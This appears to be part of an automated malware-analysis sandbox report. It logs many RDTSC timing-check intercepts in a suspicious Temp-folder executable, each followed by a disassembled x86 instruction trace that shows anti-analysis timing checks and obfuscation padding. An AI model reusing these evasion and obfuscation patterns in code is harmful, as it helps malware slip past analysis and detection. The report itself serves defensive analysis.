Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E2951C second address: E29588 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F099C534106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f jmp 00007F099C534111h 0x00000014 pop edx 0x00000015 push eax 0x00000016 jmp 00007F099C53410Dh 0x0000001b pop eax 0x0000001c popad 0x0000001d nop 0x0000001e and esi, dword ptr [ebp+122D1F82h] 0x00000024 push 00000000h 0x00000026 mov dword ptr [ebp+122D3582h], edx 0x0000002c push 00000000h 0x0000002e mov esi, dword ptr [ebp+122D3523h] 0x00000034 xchg eax, ebx 0x00000035 jne 00007F099C534119h 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f jnl 00007F099C534106h 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E29588 second address: E2958C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E29F5D second address: E29F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E2AAEB second address: E2AB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F099D172A78h 0x00000009 popad 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F099D172A68h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov esi, 38F9CFE9h 0x0000002d stc 0x0000002e push 00000000h 0x00000030 or edi, dword ptr [ebp+122D1ACFh] 0x00000036 push 00000000h 0x00000038 and edi, dword ptr [ebp+122D383Bh] 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push ecx 0x00000044 pop ecx 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E2AB45 second address: E2AB4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E2AB4B second address: E2AB51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E2AB51 second address: E2AB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E2FD43 second address: E2FE03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F099D172A76h 0x0000000a popad 0x0000000b nop 0x0000000c mov ebx, dword ptr [ebp+122D2A2Ch] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 stc 0x0000001a mov bx, 8FF5h 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 mov dword ptr [ebp+1247FAC3h], edi 0x0000002b mov eax, dword ptr [ebp+122D1591h] 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F099D172A68h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b cld 0x0000004c jmp 00007F099D172A76h 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push edi 0x00000056 call 00007F099D172A68h 0x0000005b pop edi 0x0000005c mov dword ptr [esp+04h], edi 0x00000060 add dword ptr [esp+04h], 0000001Ah 0x00000068 inc edi 0x00000069 push edi 0x0000006a ret 0x0000006b pop edi 0x0000006c ret 0x0000006d mov bh, al 0x0000006f nop 0x00000070 push eax 0x00000071 push edx 0x00000072 push ecx 0x00000073 jmp 00007F099D172A78h 0x00000078 pop ecx 0x00000079 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E2FE03 second address: E2FE1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F099C534117h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E32907 second address: E3291D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A72h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3291D second address: E3298E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F099C534108h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 xor ebx, 17AD3024h 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007F099C534108h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 sbb edi, 7A1EF305h 0x0000004b push 00000000h 0x0000004d mov ebx, dword ptr [ebp+122D365Fh] 0x00000053 mov edi, dword ptr [ebp+122D1CD8h] 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e jng 00007F099C534106h 0x00000064 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3298E second address: E32998 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F099D172A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E32998 second address: E329A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F099C534106h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E36824 second address: E36899 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F099D172A74h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F099D172A68h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D346Fh], edi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F099D172A68h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000017h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b mov di, ax 0x0000004e push 00000000h 0x00000050 mov bx, 21C2h 0x00000054 xchg eax, esi 0x00000055 pushad 0x00000056 push ebx 0x00000057 push edi 0x00000058 pop edi 0x00000059 pop ebx 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E389AB second address: E389B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E389B1 second address: E389B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E389B5 second address: E389B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E389B9 second address: E38A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F099D172A68h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 sub dword ptr [ebp+1245B0D6h], ebx 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+1246BFDFh], ecx 0x00000033 push 00000000h 0x00000035 pushad 0x00000036 movsx eax, di 0x00000039 popad 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F099D172A79h 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E399EE second address: E39A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d jbe 00007F099C534108h 0x00000013 mov bh, 10h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F099C534108h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 push 00000000h 0x00000033 mov edi, dword ptr [ebp+122D19F1h] 0x00000039 xchg eax, esi 0x0000003a pushad 0x0000003b jnl 00007F099C534108h 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F099C534115h 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E38C05 second address: E38C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F099D172A66h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E37A8D second address: E37B29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534114h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F099C534108h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 mov edi, ecx 0x00000028 push dword ptr fs:[00000000h] 0x0000002f movsx edi, di 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 mov ebx, dword ptr [ebp+122D1F88h] 0x0000003f mov edi, 44E6F300h 0x00000044 mov eax, dword ptr [ebp+122D02C9h] 0x0000004a push FFFFFFFFh 0x0000004c pushad 0x0000004d mov dword ptr [ebp+122D1C09h], ecx 0x00000053 mov ecx, 037DBACDh 0x00000058 popad 0x00000059 nop 0x0000005a pushad 0x0000005b jnl 00007F099C53411Fh 0x00000061 jc 00007F099C53410Ch 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E38C0F second address: E38C13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E39A4C second address: E39A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E37B29 second address: E37B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F099D172A6Eh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E39A50 second address: E39A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3BF31 second address: E3BFD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F099D172A79h 0x0000000f nop 0x00000010 mov edi, dword ptr [ebp+122D3813h] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F099D172A68h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 jp 00007F099D172A66h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007F099D172A68h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 00000016h 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 sbb bx, A626h 0x00000059 jmp 00007F099D172A77h 0x0000005e xchg eax, esi 0x0000005f push eax 0x00000060 push edx 0x00000061 jnl 00007F099D172A68h 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3BFD4 second address: E3BFDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3BFDA second address: E3BFF8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F099D172A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F099D172A6Bh 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3C174 second address: E3C17E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F099C534106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3C17E second address: E3C185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3C24C second address: E3C262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F099C53410Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3C262 second address: E3C273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jns 00007F099D172A66h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3C273 second address: E3C27D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F099C53410Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3EF4C second address: E3EF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3FD23 second address: E3FD27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3FD27 second address: E3FD6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 and ebx, 1905CC2Fh 0x0000000e push 00000000h 0x00000010 mov bl, D1h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F099D172A68h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D2159h], ebx 0x00000034 push eax 0x00000035 push ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3FD6A second address: E3FD6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3FD6E second address: E3FD72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3E20B second address: E3E226 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534112h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E3FEC5 second address: E3FEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F099D172A79h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F099D172A6Ch 0x00000014 jg 00007F099D172A66h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E480C1 second address: E480C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E480C7 second address: E480CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E480CB second address: E480F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F099C534121h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E480F2 second address: E4810B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A75h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DEB0BB second address: DEB0CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C53410Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DEB0CA second address: DEB0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F099D172A79h 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E47924 second address: E47937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007F099C534112h 0x0000000b js 00007F099C534106h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E47AAE second address: E47ABA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F099D172A66h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E47C27 second address: E47C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E47C30 second address: E47C6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F099D172A6Ah 0x00000008 jmp 00007F099D172A77h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 jo 00007F099D172A6Eh 0x00000017 jnp 00007F099D172A66h 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f ja 00007F099D172A6Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E4E031 second address: E4E046 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534111h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E4E046 second address: E4E05E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F099D172A6Ch 0x00000012 jnl 00007F099D172A66h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E4E05E second address: E4E06C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099C53410Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E4E06C second address: E4E070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E54ABD second address: E54AEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F099C534119h 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b ja 00007F099C534108h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E54AEB second address: E54AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E54AEF second address: E54AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E54AF3 second address: E54AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E53D72 second address: E53D77 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E53EEA second address: E53EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E53EEF second address: E53EFA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007F099C534106h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E5405D second address: E54097 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F099D172A78h 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F099D172A66h 0x00000018 jmp 00007F099D172A6Ah 0x0000001d rdtsc
